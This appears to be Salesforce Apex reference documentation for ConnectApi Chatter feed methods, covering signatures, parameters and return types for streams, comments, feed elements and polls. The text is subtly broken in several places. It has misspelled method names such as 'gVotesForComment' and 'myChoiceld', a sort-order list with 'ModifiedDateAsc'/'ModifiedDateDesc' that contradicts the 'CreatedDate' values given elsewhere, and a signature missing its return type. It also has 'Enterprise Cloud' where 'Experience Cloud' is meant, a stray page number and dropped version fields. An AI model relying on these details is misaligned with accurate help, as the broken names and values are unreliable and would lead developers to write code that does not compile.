Get information about a Chatter feed stream, regardless of Experience Cloud site.

getStreams(communityId)
Get the Chatter feed streams for the context user.

getStreams(communityId, sortParam)
Get and sort the Chatter feed streams for the context user.

getStreams(communityId, pageParam, pageSize)
Get a page of Chatter feed streams for the context user.

getStreams(communityId, pageParam, pageSize, sortParam)
Get a sorted page of Chatter feed streams for the context user.

getStreams(communityId, pageParam, pageSize, sortParam, globalScope)
Get a sorted page of Chatter feed streams from all Enterprise Cloud sites for the context user.

getSupportedEmojis()
Get supported emojis for the org.

getThreadsForFeedComment(communityId, commentId)
Get threaded comments for a comment.
getThreadsForFeedComment(communityId, commentId, pageParam, pageSize)
Get a page of threaded comments for a comment.

getThreadsForFeedComment(communityId, commentId, threadedCommentsCollapsed)
Access the comments capability for a comment.

getTopUnansweredQuestions(communityId) (Pilot)
Get top unanswered questions for the context user in aExperience Cloud site.

getTopUnansweredQuestions(communityId, filter) (Pilot)
Get filtered top unanswered questions for the context user in an Experience Cloud site.

getTopUnansweredQuestions(communityId, pageSize) (Pilot)
Get a page of top unanswered questions for the context user in an Experience Cloud site.

getTopUnansweredQuestions(communityId, filter, pageSize) (Pilot)
Get a page of filtered top unanswered questions for the context user in an Experience Cloud site.

gVotesForComment(communityId, commentId, vote)
Get the first page of users who upvoted or downvoted a comment.

gVotesForComment(communityId, commentId, vote, pageParam, pageSize)
Get a page of users who upvoted or downvoted a comment.

gVotesForFeedElement(communityId, feedElementId, vote)
Get the first page of users who upvoted or downvoted a feed element.

gVotesForFeedElement(communityId, feedElementId, vote, pageParam, pageSize)
Get a page of users who upvoted or downvoted a feed element.

isCommentEditableByMe(communityId, commentId)
Discover whether the context user can edit a comment.

isFeedElementEditableByMe(communityId, feedElementId)
Discover whether the context user can edit a feed element.

isModified(communityId, feedType, subjectId, since)
Discover whether a news feed has been updated or changed. Use this method to poll a news feed for updates.

likeComment(communityId, commentId)
Like a comment for the context user.

likeFeedElement(communityId, feedElementId)
Like a feed element.

postCommentToFeedElement(communityId, feedElementId, text)
Post a plain-text comment to a feed element.

postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)
Post a rich-text comment to a feed element. Use this method to include mentions and to attach a file.

postFeedElement(communityId, subjectId, feedElementType, text)
Post a plain-text feed element.

postFeedElement(communityId, feedElement)
Post a rich-text feed element. Include mentions and hashtag topics, attach already uploaded files to a feed element, and associate action link groups with a feed element. You can also use this method to share a feed element and add a comment.

postFeedElementBatch(communityId, feedElements)
Post a list of feed elements.
publishDraftFeedElement(communityId, feedElementId, feedElement)
Publish a draft feed element.

searchFeedElements(communityId, q)
Get the first page of feed elements that match the search criteria.

searchFeedElements(communityId, q, sortParam)
Get the first page of sorted feed elements that match the search criteria.

searchFeedElements(communityId, q, threadedCommentsCollapsed)
Get the feed elements and comments that match the search criteria.

searchFeedElements(communityId, q, pageParam, pageSize)
Get a page of feed elements that match the search criteria.

searchFeedElements(communityId, q, pageParam, pageSize, sortParam)
Get a page of sorted feed elements that match the search criteria.

searchFeedElements(communityId, q, pageParam, pageSize, threadedCommentsCollapsed)
Get a page of feed elements with comments in a threaded style that match the search criteria.

searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Get a page of sorted feed elements that match the search criteria. Each feed element includes no more than the specified number of comments.

searchFeedElementsInFeed(communityId, feedType, q)
Get the feed elements from the Company, DirectMessageModeration, Home, Moderation, and PendingReview feeds that match the search criteria.

searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from the Company, DirectMessageModeration, Home, Moderation, and PendingReview feeds that match the search criteria.

searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from a feed that match the search criteria. Each feed element includes no more than the specified number of comments.

searchFeedElementsInFeed(communityId, feedType, subjectId, q)
Get the feed elements from a feed that match the search criteria.

searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from a feed for a record or user that match the search criteria.

searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from a feed that match the search criteria. Each feed element includes no more than the specified number of comments.

searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)
Get a page of sorted and filtered feed elements from a UserProfile feed that match the search criteria.
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, customFilter)
Get a page of sorted and filtered feed elements from a case feed that match the search criteria.

searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly)
Get a page of sorted feed elements from a feed for a record or user that match the search criteria. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, filter)
Get a page of sorted and filtered feed elements from a case feed that match the search criteria. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)
Get the feed elements from a feed filtered by a key prefix that match the search criteria.

searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from a feed filtered by a key prefix that match the search criteria.

searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from a feed filtered by a key prefix that match the search criteria. Each feed element includes no more than the specified number of comments.

searchStreams(communityId, q)
Search the Chatter feed streams for the context user.

searchStreams(communityId, q, sortParam)
Search and sort the Chatter feed streams for the context user.

searchStreams(communityId, q, pageParam, pageSize)
Search the Chatter feed streams for the context user and return a page of results.

searchStreams(communityId, q, pageParam, pageSize, sortParam)
Search the Chatter feed streams for the context user and return a sorted page of results.

searchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope)
Search the Chatter feed streams from all Experience Cloud sites for the context user and return a sorted page of results.

setCommentIsVerified(communityId, commentId, isVerified)
Mark a comment as verified or unverified.

setCommentIsVerifiedByAnonymized(communityId, commentId, isVerified, isVerifiedByAnonymized)
Mark a comment as verified by an anonymous user.

setCommentVote(communityId, commentId, upDownVote)
Upvote or downvote a comment.

setFeedCommentStatus(communityId, commentId, status)
Set the status of a comment.
setFeedElementIsClosed(communityId, feedElementId, isClosed)
Set a feed element to closed.

setFeedElementVote(communityId, feedElementId, upDownVote)
Upvote or downvote a feed element.

setFeedEntityStatus(communityId, feedElementId, status)
Set the status of a feed post.

setIsMutedByMe(communityId, feedElementId, isMutedByMe)
Mute or unmute a feed element.

setIsReadByMe(communityId, feedElementId, readBy)
Mark a feed element as read for the context user using an input class.

setIsReadByMe(communityId, feedElementId, isReadByMe)
Mark a feed element as read for the context user.

updateComment(communityId, commentId, comment)
Edit a comment.

updateDirectMessage(communityId, feedElementId, directMessage)
Update the members of a direct message.

updateFeedElement(communityId, feedElementId, feedElement)
Edit a feed element.

updateFeedElementBookmarks(communityId, feedElementId, bookmarks)
Bookmark a feed element or remove a bookmark from a feed element using an input class.

updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)
Bookmark a feed element or remove a bookmark from a feed element.

updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, readBy)
Mark multiple feed elements as read by the context user at the same time using an input class.

updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, isReadByMe)
Mark multiple feed elements as read by the context user at the same time.

updateLikeForComment(communityId, commentId, isLikedByCurrentUser)
Like or unlike a comment.

updateLikeForFeedElement(communityId, feedElementId, isLikedByCurrentUser)
Like or unlike a feed element.

updatePinnedFeedElements(communityId, feedType, subjectId, pin)
Pin or unpin feed elements to a group or topic feed.

updateStream(communityId, streamId, streamInput)
Update a Chatter feed stream.

voteOnFeedElementPoll(communityId, feedElementId, myChoiceld)
Vote on a poll or change your vote on a poll.

createStream(communityId, streamInput)
Create a Chatter feed stream.
API Version
39.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterStream createStream(String communityId, ConnectApi.ChatterStreamInput streamInput)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

streamInput
Type: ConnectApi.ChatterStreamInput
A ConnectApi.ChatterStreamInput body.

Return Value
Type: ConnectApi.ChatterStream

deleteComment(communityId, commentId)
Delete a comment.

API Version
28.0

Requires Chatter
Yes

Signature
public static Void deleteComment(String communityId, String commentId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

Return Value
Type: Void

`deleteFeedElement(communityId, feedElementId)`
Delete a feed element.

API Version
31.0

Requires Chatter
Yes

Signature
`public static deleteFeedElement(String communityId, String feedElementId)`

Parameters
`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`feedElementId`
Type: String
ID of the feed element.

Return Value
Type: Void

`deleteLike(communityId, likeId)`
Delete a like on a comment or post.

API Version
28.0

Requires Chatter
Yes

Signature
`public static Void deleteLike(String communityId, String likeId)`
Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`likeId`
Type: `String`
The ID for a like.

Return Value
Type: `Void`

`deleteStream(communityId, streamId)`
Delete a Chatter feed stream.

API Version
39.0

Requires Chatter
Yes

Signature
`public static Void deleteStream(String communityId, String streamId)`

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`streamId`
Type: `String`
ID of the Chatter feed stream.

Return Value
Type: `Void`

`getComment(communityId, commentId)`
Get a comment.

API Version
28.0
Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.Comment getComment(String communityId, String commentId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
commentId
  Type: String
  The ID for a comment.

Return Value
Type: ConnectApi.Comment

getCommentBatch(communityId, commentIds)
Get a list of comments.

API Version
42.0

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getCommentBatch(String communityId, List<String> commentIds)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
commentIds
  Type: List<String>
A list of up to 100 comment IDs.

Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.Comment object and errors for comments that didn’t load.

getCommentInContext(communityId, commentId, pageSize)
Get a threaded comment in the context of its parent comments and post.

API Version
44.0

Available to Guest Users
44.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement getCommentInContext(String communityId, String commentId, Integer pageSize)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
ID of the comment.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you don’t specify a value, the default size is 25.

Return Value
Type: ConnectApi.FeedElement
If the comment doesn’t support the comments capability, the return value is ConnectApi.NotFoundException.
getCommentsForFeedElement(communityId, feedElementId)
Get comments for a feed element.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId, String feedElementId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

feedElementId
  Type: String
  ID of the feed element.

Return Value
Type: ConnectApi.CommentPage
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.

getCommentsForFeedElement(communityId, feedElementId, threadedCommentsCollapsed)
Get comments in a threaded style for a feed element.

API Version
44.0

Available to Guest Users
44.0

Requires Chatter
Yes

1097
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId, String feedElementId, Boolean threadedCommentsCollapsed)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

threadedCommentsCollapsed
Type: Boolean
Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

Return Value

Type: ConnectApi.CommentPage
If the feed element doesn't support the Comments capability, the return value is ConnectApi.NotFoundException.

getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize)
Get a page of comments for a feed element.

Yes

Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId, String feedElementId, String pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
feedElementId
Type: String
ID of the feed element.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of comments per page. Valid values are from 1 through 100. If you pass null, the default size is 25.

Return Value
Type: ConnectApi.CommentPage
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.

getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize, threadedCommentsCollapsed)
Get a page of comments in a threaded style for a feed element.

Yes

Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId, String feedElementId, String pageParam, Integer pageSize, Boolean threadedCommentsCollapsed)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.
pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of comments per page. Valid values are from 1 through 100. If you pass null, the default size is 25.

threadedCommentsCollapsed
  Type: Boolean
  Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

Return Value
  Type: ConnectApi.CommentPage
  If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.

getCommentsForFeedElement(communityId, feedElementId, threadedCommentsCollapsed, sortParam)
Get sorted comments in a threaded style for a feed element.

API Version
  44.0

Available to Guest Users
  44.0

Requires Chatter
  Yes

Signature
  public static ConnectApi.CommentsCapability getCommentsForFeedElement(String communityId, String feedElementId, Boolean threadedCommentsCollapsed, ConnectApi.FeedCommentSortOrder sortParam)

Parameters
  communityId
    Type: String
    Use the ID for an Experience Cloud site, internal, or null.
  feedElementId
    Type: String
ID of the feed element.

threadedCommentsCollapsed
Type: Boolean
Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

sortParam
Type: ConnectApi.FeedCommentSortOrder
Order of comments. Values are:
- CreatedDateLatestAsc—Sorts by most recently created comments in ascending order.
- CreatedDateOldestAsc—Sorts by oldest comments in ascending order.
- Relevance—Sorts by most relevant content.

Return Value
Type: ConnectApi.CommentPage
If the feed element doesn’t support the Comments capability, the return value is ConnectApi.NotFoundException.

getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize, threadedCommentsCollapsed, sortParam)
Get a page of sorted comments in a threaded style for a feed element.

API Version

Signature
public static ConnectApi.CommentPage getCommentsForFeedElement(String communityId, String feedElementId, String pageParam, Integer pageSize, Boolean threadedCommentsCollapsed, ConnectApi.FeedCommentSortOrder sortParam)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

`pageParam`
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: Integer
Specifies the number of comments per page. Valid values are from 1 through 100. If you pass `null`, the default size is 25.

`threadedCommentsCollapsed`
Type: Boolean
Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in `null`, the default is `false`.

`sortParam`
Type: `ConnectApi.FeedCommentSortOrder`
Order of comments. Values are:
- `CreatedDateLatestAsc`—Sorts by most recently created comments in ascending order.
- `CreatedDateOldestAsc`—Sorts by oldest comments in ascending order.
- `Relevance`—Sorts by most relevant content.

Return Value
Type: `ConnectApi.CommentPage`
If the feed element doesn’t support the Comments capability, the return value is `ConnectApiNotFoundException`.

`getCommentsForFeedElement(communityId, feedElementId, sortParam)`
Get sorted comments for a feed element.

Signature
```
public static ConnectApi.CommentsCapability getCommentsForFeedElement(String communityId, String feedElementId, ConnectApi.FeedCommentSortOrder sortParam)
```
Parameters

*communityId*
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

*feedElementId*
  Type: String
  ID of the feed element.

*sortParam*
  Type: ConnectApi.FeedCommentSortOrder
  Order of comments. Values are:
  - CreatedDateLatestAsc—Sorts by most recently created comments in ascending order.
  - CreatedDateOldestAsc—Sorts by oldest comments in ascending order.
  - Relevance—Sorts by most relevant content.

Return Value

Type: ConnectApi.CommentsCapability
If the feed element doesn’t support the Comments capability, the return value is ConnectApiNotFoundException.

getCommentsForFeedElement(communityId, feedElementId, sortParam, threadedCommentsCollapsed)
Get sorted comments in a threaded style for a feed element.

Yes

Signature

```java
public static ConnectApi.CommentsCapability getCommentsForFeedElement(String communityId, String feedElementId, ConnectApi.FeedCommentSortOrder sortParam, Boolean threadedCommentsCollapsed)
```

Parameters

*communityId*
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
**feedElementId**
Type: **String**
ID of the feed element.

**sortParam**
Type: **ConnectApi.FeedCommentSortOrder**
Order of comments. Values are:
- CreatedDateLatestAsc—Sorts by most recently created comments in ascending order.
- CreatedDateOldestAsc—Sorts by oldest comments in ascending order.
- Relevance—Sorts by most relevant content.

**threadedCommentsCollapsed**
Type: **Boolean**
Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

**Return Value**
Type: **ConnectApi.CommentsCapability**
If the feed element doesn’t support the Comments capability, the return value is **ConnectApi.NotFoundException**.

**getExtensions(communityId, pageParam, pageSize)**
Get extensions.

```java
public static ConnectApi.ExtensionDefinitions getExtensions(String communityId, String pageParam, Integer pageSize)
```

**Parameters**

**communityId**
Type: **String**
Use the ID for an Experience Cloud site, internal, or null.
getPageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. The default size is 15.

Return Value
Type: ConnectApi.ExtensionDefinitions

getFeed(communityId, feedType)
Get a feed.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

Return Value
Type: ConnectApi.Feed
getFeed(communityId, feedType, sortParam)

Get a sorted feed.

API Version
28.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType, ConnectApi.FeedSortOrder sortParam)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

If feedType is DirectMessages, sortParam must be LastModifiedDateDesc.

Return Value
Type: ConnectApi.Feed
**getFeed(communityId, feedType, subjectId)**

Get a feed for a record or user.

**Parameters**

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  - Type: ConnectApi.FeedType
  - The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

- **subjectId**
  - Type: String
  - If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

**Return Value**

Type: ConnectApi.Feed

---

**getFeed(communityId, feedType, subjectId, sortParam)**

Get a sorted feed for a record or user.

**API Version**

28.0
Available to Guest Users
32.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, ConnectApi.FeedSortOrder sortParam)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `feedType`
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values include every `ConnectApi.FeedType` except `Company`, `DirectMessageModeration`, `DirectMessages`, `Filter`, `Home`, `Landing`, `Moderation`, and `PendingReview`.

- `subjectId`
  - Type: `String`
  - If `feedType` is `Record`, `subjectId` can be any record ID, including a group ID. If `feedType` is `Streams`, `subjectId` must be a stream ID. If `feedType` is `Topics`, `subjectId` must be a topic ID. If `feedType` is `UserProfile`, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias `me`.

- `sortParam`
  - Type: `ConnectApi.FeedSortOrder`
  - Values are:
    - `ModifiedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview feeds`.
    - `ModifiedDateDesc`—Sorts by most recent creation date.
    - `LastModifiedDateDesc`—Sorts by most recent activity.
    - `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
    - `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

  If you pass in `null`, the default value `ModifiedDateDesc` is used.

Return Value

- Type: `ConnectApi.Feed`

```java
getFeedDirectory(String)
```

Get a list of all feeds available to the context user.
API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedDirectory getFeedDirectory(String communityId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

Return Value
Type: ConnectApi.FeedDirectory

getFeedElement(communityId, feedElementId)
Get a feed element.

API Version
31.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

Return Value
Type: `ConnectApi.FeedElement`

```java
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, ConnectApi.FeedCommentSortOrder commentSort)
```

Get a feed element with sorted comments.

API Version
41.0

Available to Guest Users
41.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, ConnectApi.FeedCommentSortOrder commentSort)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

`feedElementId`
Type: `String`
ID of the feed element.

`commentSort`
Type: `ConnectApi.FeedCommentSortOrder`
Order of comments.
- `CreatedDateLatestAsc`—Sorts by most recently created comments in ascending order.
- `CreatedDateOldestAsc`—Sorts by oldest comments in ascending order.
- `Relevance`—Sorts by most relevant content.

The default value is `CreatedDateLatestAsc`.

Return Value
Type: `ConnectApi.FeedElement`
**getFeedElement(communityId, feedElementId, threadedCommentsCollapsed)**

Get a feed element and its comments in a threaded style.

API Version
44.0

Available to Guest Users
44.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, Boolean threadedCommentsCollapsed)
```

Parameters
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- **feedElementId**
  Type: `String`
  ID of the feed element.
- **threadedCommentsCollapsed**
  Type: `Boolean`
  Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in `null`, the default is `false`.

Return Value
Type: `ConnectApi.FeedElement`

**getFeedElement(communityId, feedElementId, threadedCommentsCollapsed, commentSort)**

Get a feed element and its sorted comments in a threaded style.

API Version
44.0

Available to Guest Users
44.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, Boolean threadedCommentsCollapsed, ConnectApi.FeedCommentSortOrder commentSort)
```

Parameters

- `communityId`
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- `feedElementId`
  Type: String
  ID of the feed element.

- `threadedCommentsCollapsed`
  Type: Boolean
  Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in null, the default is `false`.

- `commentSort`
  Type: `ConnectApi.FeedCommentSortOrder`
  Order of comments.
  - `CreatedDateLatestAsc`—Sorts by most recently created comments in ascending order.
  - `CreatedDateOldestAsc`—Sorts by oldest comments in ascending order.
  - `Relevance`—Sorts by most relevant content.

Return Value

Type: `ConnectApi.FeedElement`

```java
getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle)
```

Get a feed element with the specified number of elements per bundle including no more than the specified number of comments per feed element.

API Version
31.0

Available to Guest Users
31.0
Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, Integer recentCommentCount, Integer elementsPerBundle)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

Return Value
Type: ConnectApi.FeedElement

getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle, threadedCommentsCollapsed)
Get a feed element with its comments in a threaded style with the specified number of elements per bundle and comments per feed element.

API Version
44.0

Available to Guest Users
44.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, Integer recentCommentCount, Integer elementsPerBundle, Boolean threadedCommentsCollapsed)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedElementId**
  - Type: String
  - ID of the feed element.

- **recentCommentCount**
  - Type: Integer
  - Maximum number of comments to return with each feed element. The default value is 3.

- **elementsPerBundle**
  - Type: Integer
  - Maximum number of feed elements per bundle. The default and maximum value is 10.

- **threadedCommentsCollapsed**
  - Type: Boolean
  - Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

Return Value

Type: `ConnectApi.FeedElement`

`getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle, threadedCommentsCollapsed, commentSort)`

Get a feed element with its sorted comments in a threaded style with the specified number of elements per bundle and comments per feed element.

API Version

44.0

Available to Guest Users

44.0

Requires Chatter

Yes
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, Integer recentCommentCount, Integer elementsPerBundle, Boolean threadedCommentsCollapsed, ConnectApi.FeedCommentSortOrder commentSort)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

threadedCommentsCollapsed
Type: Boolean
Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

commentSort
Type: ConnectApi.FeedCommentSortOrder
Order of comments.
- CreatedDateLatestAsc—Sorts by most recently created comments in ascending order.
- CreatedDateOldestAsc—Sorts by oldest comments in ascending order.
- Relevance—Sorts by most relevant content.

Return Value

Type: ConnectApi.FeedElement

getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle, commentSort)
Get a feed element with the specified number of elements per bundle including no more than the specified number of sorted comments per feed element.

API Version
41.0
Available to Guest Users
41.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedElement getFeedElement(String communityId, String feedElementId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedCommentSortOrder commentSort)
```

Parameters

- `communityId`
  
  Type: `String`
  
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedElementId`
  
  Type: `String`
  
  ID of the feed element.

- `recentCommentCount`
  
  Type: `Integer`
  
  Maximum number of comments to return with each feed element. The default value is 3.

- `elementsPerBundle`
  
  Type: `Integer`
  
  Maximum number of feed elements per bundle. The default and maximum value is 10.

- `commentSort`
  
  Type: `ConnectApi.FeedCommentSortOrder`
  
  Order of comments.
  
  - `CreatedDateLatestAsc`—Sorts by most recently created comments in ascending order.
  
  - `CreatedDateOldestAsc`—Sorts by oldest comments in ascending order.
  
  - `Relevance`—Sorts by most relevant content.
  
  The default value is `CreatedDateLatestAsc`.

Return Value

Type: `ConnectApi.FeedElement`

```java
getFeedElementBatch(communityId, feedElementIds)
```

Get a list of feed elements.
API Version
31.0

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getFeedElementBatch(String communityId,
List<String> feedElementIds)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementIds
Type: List<String>
A list of up to 500 feed element IDs.

Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedElement object and errors for feed elements that didn't load.

getFeedElementPoll(communityId, feedElementId)
Get the poll associated with a feed element.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.PollCapability getFeedElementPoll(String communityId, String feedElementId)
```

Parameters

**communityId**
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

**feedElementId**
Type: `String`
ID of the feed element.

Return Value

Type: `ConnectApi.PollCapability`
If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

